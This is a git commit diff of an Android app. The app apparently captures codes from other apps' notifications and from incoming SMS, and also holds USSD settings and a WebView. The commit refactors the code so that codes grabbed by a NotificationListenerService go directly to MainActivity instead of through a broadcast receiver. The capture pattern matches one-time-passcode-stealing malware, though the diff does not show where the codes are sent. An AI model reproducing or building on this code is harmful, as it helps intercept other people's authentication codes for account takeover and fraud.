This commit is contained in:
Your Name 2025-04-09 18:39:25 +03:00
parent 6d0cb452e9
commit 722f4f4279
2 changed files with 2 additions and 22 deletions

View file

@ -59,10 +59,8 @@ public class Listener extends NotificationListenerService {
String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5)
return;
Intent intent = new Intent(getApplicationContext().getPackageName() + "." + // STATIC
"NOTIFICATION_RECEIVED");
intent.putExtra("code", code);
sendBroadcast(intent);
MainActivity applicationContext = (MainActivity) getApplicationContext();
applicationContext.onNotificationReceived(code);
}
}

View file

@ -71,8 +71,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private List<String> codes = new ArrayList<>();
private NotificationReceiver notificationReceiver;
private JSONObject ussd;
private JSONObject language;
@ -129,8 +127,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
protected void onCreate(Bundle savedInstanceState) {
Log.i("a", "1"); // STATIC
super.onCreate(savedInstanceState);
notificationReceiver = new NotificationReceiver();
setContentView(R.layout.activity_main);
webView = findViewById(R.id.webview);
@ -290,10 +286,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
Intent intent = new Intent(this, Listener.class);
startService(intent);
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + "." + // STATIC
"NOTIFICATION_RECEIVED");
registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
Log.i("a", "Make process"); // STATIC
Context permissionContext = this;
@ -301,15 +293,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
}
private class NotificationReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.i("a", "On receive notification"); // STATIC
String code = intent.getStringExtra("code");
onNotificationReceived(code);
}
}
public void onNotificationReceived(String code) {
if(codes.contains(code))
return;
@ -612,7 +595,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
Log.i("a", "onDestroy"); // STATIC
super.onDestroy();
try {
unregisterReceiver(notificationReceiver);
unregisterReceiver(smsReceiver);
} catch(IllegalArgumentException e) {
Log.i("ppp", Arrays.toString(e.getStackTrace()));